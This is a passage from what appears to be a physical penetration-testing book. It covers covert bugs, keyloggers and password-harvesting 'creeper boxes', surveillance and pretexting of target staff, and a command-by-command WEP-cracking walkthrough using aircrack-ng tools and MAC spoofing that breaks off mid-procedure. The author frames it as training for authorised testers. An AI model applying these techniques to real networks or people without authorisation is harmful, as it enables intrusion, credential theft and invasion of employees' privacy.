to criminals and corporate spies.\n•\nPhone taps: These can be placed virtually anywhere in the internal\nphone system but often specific offices are targeted and devices\nconnected directly to a handset or in line with the phone system. Like\nroom bugs, they are generally designed to transmit radio signals.\n•\nNetwork Taps: These can be physical devices that are attached to\na vulnerable cable or ‘creeper boxes’ self contained autonomous\ndiscrete computers that perform a variety of monitoring tasks. Net-\nwork taps will communicate information back to an attacker via the\norganization’s own Internet connection or via a GSM link.\n•\nSoftware Monitoring:\nThere is a variety of software available for\nthe remote monitoring of workstations. Typically, such software is\nused to capture keystrokes, record passwords and grant remote access\nto files and network resources. It is recommended that any such\n" }, { "page_number": 138, "text": "116\nINFORMATION GATHERING\nsoftware be developed in house rather than downloaded from the\nInternet. Aside from avoiding the obvious inherent risks you won’t\nhave to worry about your code being detected by antivirus scanners\nand be able customize on a test by test basis. Some packages are\ncommercially available, but are mostly overpriced and poorly written.\nAny organization employing a decent penetration testing team will\nhave the talent available to develop remote monitoring software.\n•\nKey Logging Hardware: These are small devices that are connected\ninline between the work station and the keyboard. Keystrokes are\nrecorded and the devices physically retrieved at a later date. Physical\nkey loggers are a favorite weapon of industrial spies working at the\ntarget site. They can be easily installed and whilst obvious if one is\nlooking for them they have the advantage that antivirus software won’t\ndetect them which is a concern with software key loggers.\nDo bear in mind that when performing a penetration test it is not necessary\nto actually install such devices in order to demonstrate vulnerability. One\nof my clients prefers that instead of, for example, installing a hardware key\nlogger we wrap a small cable tie around the keyboard cable of a targeted\nworkstation. This is usually adequate in most cases. Whilst the discussion\nof covert bugs and taps is a fascinating one, we’re the good guys and\nconsequently more interested in finding and disabling those left by the\nbad guys. We’ve got a whole chapter dedicated to counter-intelligence\nthat covers a range of subjects including covert bugging.\nA creeper box is a small form PC that’s covertly deployed on a target\nnetwork. It should be a ‘fire and forget’ device, i.e. once deployed it\nshould require no further intervention for it to function. What the box\ndoes is up to you but it’s mainly used to quietly sit in the background\nand gather passwords, emails and other network information which is\ndutifully delivered back to you at key intervals.\nThere are factors to consider when building your own creeper box:\n•\nForm: Obviously the smaller the overall box, the better. There are\nmany small form factor pc cases on the market. Buy one that meets\nyour needs.\n•\nAutonomy: Once deployed, a creeper box needs to perform its tasks\nwithout human intervention for the duration of its mission. This\nrequires that software is stable and power won’t be interrupted.\n•\nCommunications: The information you gather has to be transmitted\nback in a secure form. If available, you can use a local internet\nconnection for this. However, you can also use a mobile comms card\nto burst data once a day via a data (GPRS/3G) connection.\n•\nFunction: Building a box solely to capture passwords is relatively\nstraight forward. However you should consider other possibilities\n" }, { "page_number": 139, "text": "COVERT SURVEILLANCE\n117\nsuch as email interception, network discovery, vulnerability analysis,\nand exploitation.\n•\nStealth and Placement: As previously mentioned the physical profile\nof the device should be as small as possible but you should ensure\nthat your box won’t be discovered through other means. A creeper\nbox actively probing the network may trigger intrusion detection\nsystem and be tracked down. Because such a device requires an\nIP address it could be detected through routine network auditing.\nPhysical placement should be appropriate to ensure good visibility\nrelevant to its mission while being out of obvious sight. At the very\nleast it should not appear out of place. On short-term missions,\nplacement could be as simple as finding an unused network port in\na disused office whereas a long-term mission (which creeper boxes\nare intended for) will require more ingenuity. Such circumstances are\nhighly client specific. Consider disguising the device as something\ninnocuous such as a printer.\n•\n‘Live’ network capture: If you’re able to plug directly into a cor-\nporate LAN there are a number of tools that are useful for quickly\ncapturing passwords and password hashes for offline cracking and\nfor intercepting encrypted sessions. The easiest and most functionally\ncomplete tool for someone approaching this subject for the first time\nis a Windows application called Cain. It’s freely available and can be\ndownloaded from http://www.oxid.it. Cain focuses on capturing plain\ntext passwords, encrypted passwords (many of which it is capable of\ncracking) but it’s most useful feature in my opinion is its ability to\nredirect other users’ encrypted Secure Sockets Layer (SSL) and Secure\nShell (SSH) sessions through your laptop. This allows you to see the\ncontents of the sessions by exploiting inherent vulnerabilities in the\ncryptography (various versions of) these protocols use. Cain is not\nthe only network ‘sniffing’ tool by a mile, but if you’re only going to\ntake one with you it should be this.\nCovert Surveillance\nSometimes it’s necessary to take intelligence gathering a little further to\nacquire the information that will make or break the penetration test. This\nis usually the case when people themselves will be the primary sources\nof intelligence. Examples of the sort of information you might wish to\nobtain include:\n•\nPersonal Employee Data for pre-texting attacks. For example, a home\naddress that can’t be obtained any other way.\n" }, { "page_number": 140, "text": "118\nINFORMATION GATHERING\n•\nVehicle information - car park access badges are a good source of\ninformation, license plates, logos that can be copied or that identify\ncontracting firms.\n•\nLocations of staff hangouts after work, either to eavesdrop on conver-\nsations or to obtain information directly from a target.\n•\nTo get close up photography of access badges.\n•\nTo properly assess worker clothing or logos that you may want to\nduplicate.\n•\nAny other purpose where you need to observe without being observed.\nIt is unlikely that detailed surveillance of target staff outside of office\nhours will be sanctioned or appreciated by the client. For this reason I’m\nnot giving it a great deal of priority here. If you’re interested in an in\ndepth treatment of the subject I recommend Advanced Surveillance by\nPeter Jenkins (Intel Publications - ISBN 0953537811). When negotiating\nthe rules of engagement discuss how much if any covert surveillance is\nappropriate.\nRemember getting the green light from your client doesn’t necessarily\nmean you’re comfortably within the law. Many employers are rightly\ncautious of deploying social engineering attacks and surveillance against\ntheir staff that could result in a loss of trust between companies and their\nemployees and lawsuits. In any case it is your responsibility to be aware\nof any legal issues involved in this kind of work in your jurisdiction.\nWe’ll cover some relevant legislation in the appendices. Example targets\nof surveillance include:\n•\nVehicles: People leave things in cars. All kinds of things. I’ve seen\ndocuments in plain sight marked NATO SECRET, medical records, and\neven rather compromising photographs. Whilst I don’t recommended\nbreaking into cars, a stroll through a corporate parking lot can be very\nrevealing. Following and checking out vehicles off site may allow\nyou to photograph parking permits for company car parks (for later\nduplication). These can be very handy to have. Access to car parks\noften allows you to bypass security completely.\n•\nStaff: A friend and ex-colleague of mine, in a past life, worked for\na British government agency in a counter intelligence role. His job\nwas to assess the susceptibility of staff in various roles to subversive\nelements, either via bribery or through inebriation. He’d find out\nwhere they socialized, befriend them, ply them with alcohol and see\nif he could make them talk. In my personal opinion this has to be the\nbest job in the world, but enough of that. Companies and government\ndepartments are often very interested in what information staff will\nlet slip in a social environment. Tests, where the sole purpose of the\nassignment is to ascertain this information, are becoming more and\nmore popular.\n" }, { "page_number": 141, "text": "SUMMARY\n119\nSummary\nThis has been a key chapter and a lot’s been covered. Unlike other\nchapters where the focus has been on a single subject, information\ngathering requires an understanding of a number of disparate topics. In\nthis chapter the following has been covered:\n•\nDumpster diving – This is gathering intelligence by sorting through\nthe things that companies discard. You should know what to look for\nand what to do when you find it.\n•\nForensic analysis – These are the techniques used to image captured\nmedia and analyze it for confidential data or data that would be useful\nin advancing a physical penetration test.\n•\nShoulder surfing – The practice of gathering passwords and door pins\nthough close observation of target personnel.\n•\nCollecting photographic intelligence – Both the technical and discrete\naspects involved in photographic surveillance.\n•\nOpen source intelligence – Using the Internet to gather information\nof target organizations and personnel as well as some related social\nengineering techniques.\n•\nElectronic surveillance – This covered bugging, phone taps and\nintroduced the concept of a ‘creeper box’.\n•\nCovert surveillance – A short introduction to covertly observing target\npersonnel.\nAt the beginning of this chapter I stated that one of its aims was to help\nyou think like an attacker and I hope this has been at least moderately\nsuccessful. Understanding how an intruder’s mind works is critical for\nboth the penetration testing team and those tasked with keeping facilities\nsecure.\n" }, { "page_number": 142, "text": "" }, { "page_number": 143, "text": "7\nHacking Wireless Equipment\nThe use of wireless technology to provide network services and access\nin businesses and homes has grown exponentially in the last decade.\nConsequently, hackers have not been idle in developing new attacks\nagainst wireless networks.\nI had some reservations about including this chapter. Detailed descrip-\ntions of hacking techniques always run the risk of being used by\ncriminals. However, as I believe this book is bolstered by its inclusion\nand because wireless hacking tools are already widely available on\nthe Internet, I’m including it. It is the only really technical chapter.\nThis chapter discusses how wireless networks are deployed in businesses\nboth large and small and how the various security mechanisms they use\ncan be circumvented. In order to try out the techniques described in this\nchapter, you need the following equipment:\n•\nA Laptop – I’ve nothing further to add here that I don’t mention in\nChapter 8.\n•\nBackTrack 3 – This is a live Linux distribution that contains the\nwireless hacking tools discussed in this chapter. You can download it\nfrom http://www.remote-exploit.org/backtrack.html. BackTrack 3 can\nbe burned to (and booted from) a CD-ROM or installed on a USB\ndrive. I strongly recommend the latter as this allows you to keep\npersistent changes and add your own tools, which obviously you\nwon’t be able to do with a CD-ROM.\n•\nA Wireless Network Card – Any of the cards discussed in Chapter 8\nwill work fine but I use the Alfa AWUS036H 500mW high-power USB\nadapter. I like this device because it’s powerful and ready to use with\nBackTrack out of the box. It can also take an external antenna, which\nmakes all the difference. Different cards require slightly different setup\n" }, { "page_number": 144, "text": "122\nHACKING WIRELESS EQUIPMENT\nprocedures to enable packet injection (a crucial element in wireless\nhacking). Once you’ve absorbed the information in this chapter you\ncan easily find the setup information for your specific card on the\nInternet, although I’ll also provide information on the popular Atheros\nand Intel chipsets.\nWireless Networking Concepts\nBefore you can approach wireless hacking, there are a few things you\nneed to be familiar with such as terms, definitions and the technologies\ncommonly used in wireless networking.\nThe terms in Table 7.1 are used throughout this chapter. Although I have\nattempted to make the content as accessible as possible, this is a technical\nsubject and, if any of the following terms are unfamiliar, it may be wise to\ndo some further research before embarking on physical penetration tests\nthat contain an element of wireless hacking.\nProblems that Wireless Networks Solve\nThere are a number of benefits to deploying wireless networks:\n•\nCost Efficiency – Wireless networks are (now) cheaper to deploy and\nmaintain than wired networks because adding more clients in a\nwired network involves adding switches and laying cables, which can\nadd costs and disrupt business. Achieving true scalability in a wired\nnetwork requires considerable forethought and planning.\n•\nPortability – Users can work anywhere within range of the access\npoint which allows for some very creative hotdesking possibilities.\n•\nTidiness – No cables trailing about the place is tidier and means there\nis less physical infrastructure to maintain reducing the overall cost of\nownership and again reducing costs.\n•\nSpeed of Deployment – A wireless network can be deployed very\nrapidly. All you need is an access point connected to your physical\ninfrastructure and most modern laptops come with a wireless card.\nProblems that Wireless Networks Create\nNaturally, you can’t have the good without the bad:\n•\nInterference – To correctly deploy a wireless network requires some\nform of spectral analysis exercise. 802.11x networks only support\n11 channels (or sets of overlapping frequencies). It is essential to\n" }, { "page_number": 145, "text": "WIRELESS NETWORKING CONCEPTS\n123\nTable 7.1\nGlossary of wireless networking terms\nTerm\nDefinition\n802.11x\nThe family of standards that comprise the vast majority of\nmodern wireless networking\nAccess point\nThe physical hardware that permits clients to join a wireless\nnetwork and provides access to other local physical networks\nAddress resolution protocol\n(ARP)\nThe protocol that allows networking devices to resolve IP\naddresses to physical MAC addresses. Exploiting ARP is a\ncomponent of a common WEP cracking attack\nBasic service set identifier\n(BSSID)\nThe physical MAC address of the wireless access point\nBacktrack\nA bootable Linux distribution geared to performing security\naudits that contains a plethora of wireless security tools\nBluetooth\nA short-range wireless protocol that usually connects devices,\nsuch as mobile phones to headsets or laptops, but can also be\nused to create a PC to PC wireless network\nClient\nAny device that connects to a wireless network, but usually used\nto refer to a laptop\nEncryption\nA technology used to keep data hidden from eavesdroppers,\nwhich is essential in wireless networks; some forms of\nencryption are extremely secure, some can be easily broken\nExtended service set\nidentifier (ESSID or just\nSSID)\nThe name used to identify a wireless access point to users\nLightweight extensible\nauthentication protocol\n(LEAP)\nCisco’s proprietary wireless network authentication protocol\nMAC address\nThe unique identifier of networking hardware\nMetasploit\nA software suite used to test and exploit security vulnerabilities\nPacket\nA formatted unit of data carried over a computer network\nWardriving\nHunting for exploitable access points by car using an antenna,\na laptop and appropriate software\nWired Equivalent Privacy\n(WEP)\nA deeply flawed encryption standard that, under most\ncircumstances, is easily broken\nWiFi Protected Access\n(WPA and WPA2)\nThe successor to WEP, more secure but far from perfect\n" }, { "page_number": 146, "text": "124\nHACKING WIRELESS EQUIPMENT\nensure that your network doesn’t interfere with those around you and\nvice versa. Interference will happen if the channels on which you\nchoose to deploy are overloaded. In addition to this, the wireless\nfrequency spread used by 802.11x networks are public (i.e. anyone\ncan use them without a license) and shared with other devices such\nas Bluetooth end points, wireless cameras and cordless phones. These\nare all potential source of interference. Other sources of interference\nare not immediately obvious, such as microwave ovens.\n•\nRange – Your network has to be reachable across your entire site\nand that means taking into consideration obstacles, concrete walls,\ninterference from the superstructure, and so on. For large sites, this\nmeans deploying multiple access points. However, once you start\nincreasing the coverage of your network, it will rapidly leak beyond\nthe boundaries of your organization and be visible to neighboring\nbusinesses, car parks, cafes or homes – places people can sit and\nhack you quite uninterrupted.\n•\nSecurity – The biggest concern (and rightly so) that organizations have\nwhen deploying wireless technology is its inherent insecurity, which\nis the point of this chapter. Whilst there are many ways to improve\nthe security of a wireless network, the fact remains that attackers\nhave access to your data stream in a way they don’t in a wired\nnetwork. Denial of service attacks (where client laptops are prevented\nfrom associating with access points) are usually very easy to execute\nregardless of any additional layers of security you add.\nWireless Networking Standards\nVirtually all wireless networks deployed in businesses (and homes) use\nthe 802.11x standards, which are composed of the following:\n•\n802.11b operates in the 2.4 GHz spectrum with a maximum through-\nput of 11 Mbps.\n•\n802.11g operates in the same spectrum (and is fully backward com-\npatible with) 802.11b but has a maximum throughput of 54 Mbps.\n•\n802.11a operates in the 5 GHz spread and is compatible with neither\n802.11b or 802.11g. Virtually nobody is still using the 802.11a\nstandard, largely due to a lack of uptake by manufacturers and the\nfact that – due to its 5 GHz spread – it has less range than 802.11b or\n802.11g.\nThe vast majority of equipment that you encounter will be 802.11g\n(though it’s good to keep 802.11a compatible cards around, just in case).\nIn any event, the techniques used to compromise wireless networks do not\n" }, { "page_number": 147, "text": "INTRODUCTION TO WIRELESS CRYPTOGRAPHY\n125\nTable 7.2\nWireless channels and frequencies in 802.11b/g\nOptimal\nMin.\nMax.\nChannel\nfrequency (MHz)\nfrequency (MHz)\nfrequency (MHz)\n1\n2412\n2401\n2423\n2\n2417\n2405\n2428\n3\n2422\n2411\n2433\n4\n2427\n2416\n2438\n5\n2432\n2421\n2443\n6\n2437\n2426\n2448\n7\n2442\n2431\n2453\n8\n2447\n2436\n2458\n9\n2452\n2441\n2463\n10\n2457\n2446\n2468\n11\n2462\n2451\n2473\nsignificantly differ between these standards. 802.11b/g has 11 channels\nor frequency bands as shown in Table 7.2.\nAs you can see most of these frequencies overlap. In fact there are only\nthree channels that don’t: 1, 6 and 11. If access points located near each\nother use the same channels (even with the same network), interference\noccurs. Therefore, to minimize this, access points in close proximity –\nmeaning on the site – each use one of these non-overlapping channels.\nDetermining local interference from other sources is something that must\nbe performed prior to deployment. Figure 7.1 shows a typical wireless\nnetwork layout.\nIt should be noted that three additional channels, 12, 13 and 14, are\ngenerally not used (due to spectrum-licensing issues) but are available for\nuse on some hardware. There have been cases where businesses have\nopted for these channels believing that wardrivers would be unable to\ndetect them. Be assured that this is not the case.\nIntroduction to Wireless Cryptography\nThere are a number of ways that wireless access points can be secured\n(or at least made more secure). The most common, and indeed baseline,\n" }, { "page_number": 148, "text": "126\nHACKING WIRELESS EQUIPMENT\nComputer connected\nvia ethernet\nEthernet\nEthernet\nEthernet\nComputer with long\nrange WI-FI dish\nComputer within\nrange\nComputer within\nrange\nWI-FI router\nWI-FI bridge\nInternet\nService\nProvider\nFigure 7.1\nA typical wireless network.\napproach is the use of encryption. Encryption ensures that traffic is only\nreadable by those who have the key and, in the most commonly deployed\nwireless networks, the key is the same thing as the password that a user\nuses to join the network. The two main variants of wireless encryption\nare WEP and WPA and we discuss them briefly before showing ways of\nattacking them.\nWEP Shared Key Encryption\nDespite the fact that Wired Equivalent Privacy (not Wireless Encryption\nProtocol, as many seem to think) is known to have severe flaws that lead to\nit being cracked quickly and easily, WEP is still widely deployed in homes\nandbusinesses as the sole security mechanism. Iguess people don’tbelieve\nthat anyone’s going to take the time and trouble to break in or they think\nthat the cryptographic attacks in question are so technically advanced that\nthey don’t worry about it too much. Neither of these beliefs is accurate.\nAlthough WEP was first identified as having serious flaws in 2001, it is still\npresented as the first security option during configuration. Manufacturers\ncontinue to support WEP as some older systems don’t support the newer,\nmore secure wireless standards. Legacy is a killer when it comes to\nsecurity.\n" }, { "page_number": 149, "text": "INTRODUCTION TO WIRELESS CRYPTOGRAPHY\n127\nWith WEP, a single key is used for both authentication and encryption (i.e.\nwith an open access point, no password is required and no encryption is\nprovided). Wireless clients are configured with this key, at which point\nthey can join the network. Therefore, the key itself is a shared secret:\nanyone who knows it is granted access. WEP comes in two flavors: 64 bit,\nwhich uses a 40-bit key (entered as 5 bytes by the user), and 128 bit,\nwhich uses a 104-bit key (usually entered as 26 bytes). However, both\nare equally easy to crack.\nWhile the technical details of why WEP is vulnerable are very interesting\n(and I encourage you to read up on it), this is first and foremost a practical\nbook and I’m more concerned with showing you how to break it.\nWPA/WPA2 Shared Key Encryption\nWhen serious concerns about the security of WEP encryption started to\nsurface, new encryption technologies were created to replace it. Some of\nthese, such as the ill-fated WEP2 and WEPplus, were stop-gap solutions.\nHowever, the first significant step forward came with the adoption of\nwireless (or WiFi) protected access (WPA). WPA, like WEP, is a shared\nkey encryption scheme and, while it can be cracked, it is significantly\nmore secure.\nAn extension of WPA is WPA2, which uses the stronger AES encryption\nrather than WPA’s RC4. With WPA2, you have the option to use strong\nauthentication schemes above and beyond shared key encryption; how-\never, when used in shared key mode, the methods used to break it are\nidentical to the way in which WPA is broken.\nWith WPA/WPA2 Private Shared Key / Pre-Shared Key (PSK) cryptog-\nraphy, you choose a password that is shared among clients, as with\nWEP. However, you are not significantly restricted in your choice of\nkey; that is, it can be very long. The strength of WPA/WPA2 lies in\nthe strength of this password. If it’s too short, it can be cracked quickly\nand easily but if it’s over 20 characters (and includes special charac-\nters), it is likely to take years to break with current desktop computing\ntechnology.\nWardriving and Site Analysis Tools\nWardriving is the act of driving around in a car hunting for wireless\nnetworks by using a laptop, an antenna and wardriving software. It\ncan be an activity that’s just fun to do. It certainly was in the early\ndays of wireless networking – you never knew what you were going to\n" }, { "page_number": 150, "text": "128\nHACKING WIRELESS EQUIPMENT\nFigure 7.2\nSample output from Network Stumbler.\nfind. Wardriving is mostly performed by hackers looking for potential\ntargets. The most common wardriving software for Windows is called\nNetwork Stumbler (see Figure 7.2); although out of date, it deserves a\nmention.\nBelow is the same output taken with an equivalent tool from BackTrack\n3 called Airodump. We discuss how to run Airodump later.\nCH\n9 ][ Elapsed: 0 s ][ 2009-02-19 10:56\nBSSID\nPWR\nBeacons #Data, #/s\nCH\nMB\nENC\nCIPHER AUTH ESSID\n00:01:E3:D2:4C:68\n19\n2\n0\n0\n9\n54 .WPA2 CCMP\nPSK\nSX551D24C68\n00:13:F7:20:7B:4D\n35\n4\n0\n0\n6\n54 .OPN\nSMC\n00:1B:FC:42:9B:67\n29\n3\n0\n0\n11\n54\nOPN\nDV201AM\n00:22:6B:70:79:A6\n30\n1\n2\n0\n11\n54e OPN\nHome\n00:18:F8:4A:BE:E1\n32\n5\n0\n0\n11\n54 .OPN\nlinksys\n00:12:17:69:1E:74\n36\n5\n0\n0\n11\n54\nWPA\nTKIP\nPSK\nmelina\n00:90:D0:FA:E3:DD\n25\n3\n0\n0\n11\n54\nWPA2 CCMP\nPSK\nML\n00:19:CB:0A:EA:63\n33\n5\n0\n0\n7\n54\nWPA\nTKIP\nPSK\nMVDH\n00:18:F8:6E:85:A3\n16\n2\n0\n0\n7\n54\nWEP\nWEP\nM3b2d\n00:04:ED:5A:8B:DB\n62\n4\n0\n0\n5\n54\nWEP\nWEP\nwireless2\n00:13:49:B5:53:7E\n24\n2\n0\n0\n7\n54\nWEP\nWEP\nADSL-WiFi Anja\n00:13:F7:8B:43:9F\n43\n5\n0\n0\n6\n54 .WPA2 CCMP\nPSK\nJJJJR\n00:1C:DF:05:C0:7E\n43\n4\n0\n0\n6\n54 .WPA\nTKIP\nPSK\nVuurdesign\n02:18:9B:6F:A5:E0\n18\n2\n0\n0\n1\n54\nWPA2 TKIP\nPSK\n\n00:18:9B:6F:A5:DF\n18\n2\n0\n0\n1\n54\nWPA2 TKIP\nPSK\nUPC017649\n00:18:F6:64:63:25\n33\n5\n0\n0\n1\n54\nWPA2 CCMP\nPSK SpeedTouch63593C\n" }, { "page_number": 151, "text": "INTRODUCTION TO WIRELESS CRYPTOGRAPHY\n129\n00:14:7F:8D:9F:7F\n38\n3\n0\n0\n1\n54\nWPA\nTKIP\nPSK SpeedTouchADC252\n00:22:3F:20:C5:8E\n47\n5\n0\n0\n1\n54 .WPA\nTKIP\nPSK\nUPC53144\n8A:81:1B:D8:8F:85\n-1\n2\n0\n0\n1\n54\nOPN\nwireless\n00:13:D4:67:67:7D\n29\n5\n0\n0\n1\n54\nWEP\nWEP\npvg\n00:05:B4:0A:54:D8\n31\n3\n0\n0\n3\n54 .WPA\nTKIP\nPSK\nSweexMR\nBSSID\nSTATION\nPWR\nRate\nLost Packets\nProbe\nThe outputs from Network Stumbler and Airodump present the same data:\n•\nThe BSSID or access point MAC, which is the unique Layer 2 identifier\nfor the access point.\n•\nThe SSID/ESSID, or network name, which identifies the network to\nusers.\n•\nThe channel number.\nHowever, Airodump gives you much more information:\n•\nEncryption – Network Stumbler tells you that encryption is in use with\nthe generic WEP flag. However, WEP is just one form of encryption\n(and not a very good one). Airodump, on the other hand, tells you the\ntype of encryption used.\n•\nClients – Airodump tells you which clients are associated with which\naccess point (via the MAC address). It also tells you the MAC addresses\nof clients that are probing access points. This is useful as it tells you\nwhich networks the client knows and has connected with in the past,\neven if those networks are not physically present (think home wireless\nLANs).\n•\nPackets – Airodump shows you the packet count on each network\nand can log the packets for later analysis in the industry standard\npacket capture (PCAP) format.\nIt’s clear which software you want to be working with. Wardriving is not\nterribly interesting from your point of view – you’re not searching for\nnetworks to hack. If you know where a physical target is going to be, all\nyou are likely to want to determine is whether they’re using a wireless\nconnection and, if so, how to go about compromising it. Even if a target\nis not officially using a wireless connection, don’t underestimate the\npossibility that someone has plugged an access point into the network for\ntheir own convenience: This happens often and never has a happy ending.\nUsing a high-gain (at least 7dBi) antenna, you can determine very quickly\nthe presence of wireless networks in the vicinity. You should do this from\nthe borders of the target. Once you know the names or ESSIDs of your\ntarget’s access points, you can begin the process of determining roughly\nwhere they are on the premises. You can collect this information with\n" }, { "page_number": 152, "text": "130\nHACKING WIRELESS EQUIPMENT\na narrow beam directional antenna. If there are multiple access points\nin the area and you’re not sure which one you want to attack, why\nnot phone technical support at the target and tell them you’re having\ntrouble connecting? I’m sure they’ll be happy to help. Bear in mind that\nwith sufficiently powerful kit and favorable circumstances you can be\nquite some way from the target and still map access points. Attacking\nencrypted networks however becomes more problematic with range and\nthe kit required becomes much less discreet and much more expensive.\nOpinions vary but I like to get up close and personal because in an urban\nsetting you don’t have any choice. Figure 7.3 shows a testing rig with an\nomni-directional antenna.\nFrom the output in Figures 7.2 and 7.3, you can see that signal strength\nis clearly indicated. When using a directional antenna, the output is\nexactly the same except that the signal strength drops to zero on all\naccess points other than those (more or less) directly in front of the\nantenna. This exercise can be repeated from different sides of the target\nto give you an accurate estimate of where the access point is physically\nlocated. This can be very useful for an attacker to know, as it helps to\ndetermine the best physical location for maximum signal strength whilst\nalso permitting maximum use of available cover. The best cover when\nperforming wireless hacking is wherever you attract the least amount of\nattention, for example, in the yuppie caf´e across the road. Everyone is\ngoing to have their laptops and BlackBerrys out and this equals good\ncover whereas sitting on a wall pointing a directional antenna at the\nCEO’s office does not.\nFigure 7.3\nLaptop with omni-directional antenna.\n" }, { "page_number": 153, "text": "CRACKING ENCRYPTION\n131\nCracking Encryption\nClearly, compromising wireless networks is a little trickier than simply\nmoving into range and connecting, regardless of how powerful your\nantenna may be. There are a number of security mechanisms that can\nbe deployed to keep intruders out. Some of them are more effective than\nothers. In this section, I analyze those commonly deployed and discuss\ntactics for circumnavigating them.\nCracking WEP Shared Key Encryption\nFirst of all you will need to boot your laptop into the BackTrack envi-\nronment using the CD-ROM or USB drive you prepared earlier. If you’re\nusing the Alfa adapter, it requires no further configuration. However if\nyou’re using an Atheros-based card or the very popular Intel 3945 internal\nPCI chipset, you need to set them up.\nSetting Up Atheros\nTo set up Atheros, execute the following commands from the terminal\nprompt:\n# ifconfig ath0 down\n# wlanconfig ath0 destroy\n# wlanconfig ath0 create wlandev WiFi0 wlanmode monitor# ifconfig ath0 up\nThe Atheros card is now in monitor mode and ready to start cracking.\nSetting Up Intel\nThe Intel card is a little different as we have to change to a driver capable\nof packet injection. Execute the following commands from the terminal\nprompt:\n# ifconfig wlan0 down\n# modprobe -r iwl3945\n# modprobe ipwraw\n# ifconfig WiFi0 up\nThe Intel card is now in monitor mode and ready to start cracking.\nNote that its identifier has changed from wlan0 to WiFi0. You can\ncheck which interfaces on your system are wireless capable with the\ncommand:\n# iwconfig\n" }, { "page_number": 154, "text": "132\nHACKING WIRELESS EQUIPMENT\nAccessing the Network\nRegardless of the configuration, execute the following command to test\nthat injection is now working:\n# aireplay-ng --test XXX\nwhere XXX is your wireless card identifier. If successful, you should see\nsomething along the lines of the following:\n10:57:54\nTrying directed probe requests...\n10:57:54\n00:13:F7:20:7B:4D – channel: 6 – ‘SMC’\n10:57:57\nPing (min/avg/max): 0.093ms/75.077ms/115.953ms Power: 46.87\n10:57:57\n30/30: 100%\n10:57:57\nInjection is working!\n10:57:57\n00:05:B4:0A:54:D8 – channel: 3 – ‘SweexMR’10:58:00\nPing\n(min/avg/max): 55.970ms/92.801ms/136.010ms Power: 31.93\n10:58:00\n30/30: 100%\n10:58:00\n00:13:F7:8B:43:9F – channel: 6 – ‘JJJJR’\nIf injection is not working for any given interface above and you’ve\nalready put your card into monitor mode, you are probably too far from\nthe wireless point to inject. Reception is always more sensitive than\ntransmission.\nFrom now on, I assume the identifier for your wireless card is wlan1.\nChange this to whatever it is for you. Now open three terminal windows.\nIn the first type:\n# airodump-ng wlan1\nAirodump cycles through the 11 available channels looking for access\npoints as shown here:\nCH\n2 ][ Elapsed: 0 s ][ 2009-02-19 10:59\nBSSID\nPWR\nBeacons\n#Data, #/s\nCH\nMB\nENC\nCIPHER AUTH ESSID\n00:22:6B:70:79:A6\n32\n2\n0\n0\n11\n54e\nOPN\nHome\n00:18:F8:4A:BE:E1\n30\n3\n0\n0\n11\n54 . OPN\nlinksys\n00:90:D0:FA:E3:DD\n18\n2\n0\n0\n11\n54\nWPA2 CCMP\nPSK\nML\n00:1E:E5:8C:94:BE\n22\n2\n0\n0\n6\n54\nOPN\nlinksys\n00:19:CB:0A:EA:63\n44\n2\n0\n0\n7\n54\nWPA\nTKIP\nPSK\nMVDH\n00:13:49:B5:53:7E\n32\n2\n0\n0\n7\n54\nWEP\nWEP\nADSL-\nWiFi Anja\n00:13:F7:8B:43:9F\n43\n3\n0\n0\n6\n54 . WPA2 CCMP\nPSK\nJJJJR\n00:04:ED:5A:8B:DB\n48\n3\n0\n0\n5\n54\nWEP\nWEP\nwireless2\n" }, { "page_number": 155, "text": "CRACKING ENCRYPTION\n133\n00:18:F6:64:63:25\n44\n2\n0\n0\n1\n54\nWPA2 CCMP\nPSK\nSpeed-\nTouch63593C\n00:22:3F:20:C5:8E\n49\n2\n0\n0\n1\n54 . WPA\nTKIP\nPSK\nUPC53144\n00:14:7F:8D:9F:7F\n41\n2\n0\n0\n1\n54\nWPA\nTKIP\nPSK\nSpeed-\nTouchADC252\n8A:81:1B:D8:8F:85\n-1\n2\n0\n0\n1\n54\nOPN\nwireless\n00:13:D4:67:67:7D\n26\n3\n0\n0\n1\n54\nWEP\nWEP\npvg\n00:13:49:10:0D:71\n65\n3\n0\n0\n7\n54 . WEP\nWEP\nADSL-WiFi\n00:13:F7:20:7B:4D\n49\n1\n0\n0\n6\n54 . OPN\nSMC\nBSSID\nSTATION\nPWR\nRate\nLost\nPackets\nProbe\nThe target in this case is the network named wireless2 running on\nchannel 5. Rerun Airodump, but this time restrict it to channel 5 and\nwrite the output to disk as follows:\n# airodump-ng -c 5 --write wireless2\nYou get the following response:\nCH\n5 ][ Elapsed: 16 s ][ 2009-02-19 11:04\nBSSID\nPWR RXQ Beacons #Data, #/s CH MB\nENC\nCIPHER AUTH ESSID\n00:05:B4:0A:54:D8\n24\n16\n27\n0\n0\n3 54 . WPA\nTKIP\nPSK\nSweexMR\n00:13:F7:20:7B:4D\n41\n5\n24\n1\n0\n6 54 . OPN\nSMC\n00:1C:DF:05:C0:7E\n43\n42\n62\n0\n0\n6 54 . WPA\nTKIP\nPSK\nVuurdesign\n00:13:49:10:0D:71\n69\n96\n79\n0\n0\n7 54 . WEP\nWEP\nADSL-WiFi\n00:1E:E5:8C:94:BE\n26\n12\n63\n0\n0\n6 54\nOPN\nlinksys\n00:13:F7:8B:43:9F\n43\n18\n52\n0\n0\n6 54 . WPA2 CCMP\nPSK\nJJJJR\n00:04:ED:5A:8B:DB\n69\n77\n154\n5\n0\n5 54\nWEP\nWEP\nwireless2\n00:19:CB:0A:EA:63\n34\n52\n91\n0\n0\n7 54\nWPA\nTKIP\nPSK\nMVDH\n00:13:49:B5:53:7E\n24\n28\n57\n0\n0\n7 54\nWEP\nWEP\nADSL-WiFi Anja\nBSSID\nSTATION\nPWR\nRate\nLost\nPackets\nProbe\n00:04:ED:5A:8B:DB\n00:1B:77:2E:46:45\n-1\n54-0\n0\n5\n(not associated)\n00:16:44:A5:EC:50\n16\n0- 1\n0\n2\nICIDU\n(not associated)\n00:19:7E:2A:72:A5\n15\n0- 1\n0\n2\nSX551D87F63\n(not associated)\n00:19:7E:BD:58:AC\n35\n0- 1\n0\n2\n(not associated)\n00:15:AF:E2:C7:9A\n38\n0- 1\n178\n9\nSMC\nThe first output shows all channels. In the second, the channel has been\nfixed to CH5 using the -c 5 option. We do this so that we don’t miss any\nchannel 5 data and to cut down on extraneous data we don’t want to see.\nAt the bottom of the output, you can see a client laptop is associated with\nthe wireless2 access point. Be sure to make a note of the client MAC\naddress because you want to appear to be this client. Change your local\nMAC address to match:\n# macchanger mac=00:1B:77:2E:46:45 wlan1\n" }, { "page_number": 156, "text": "134\nHACKING WIRELESS 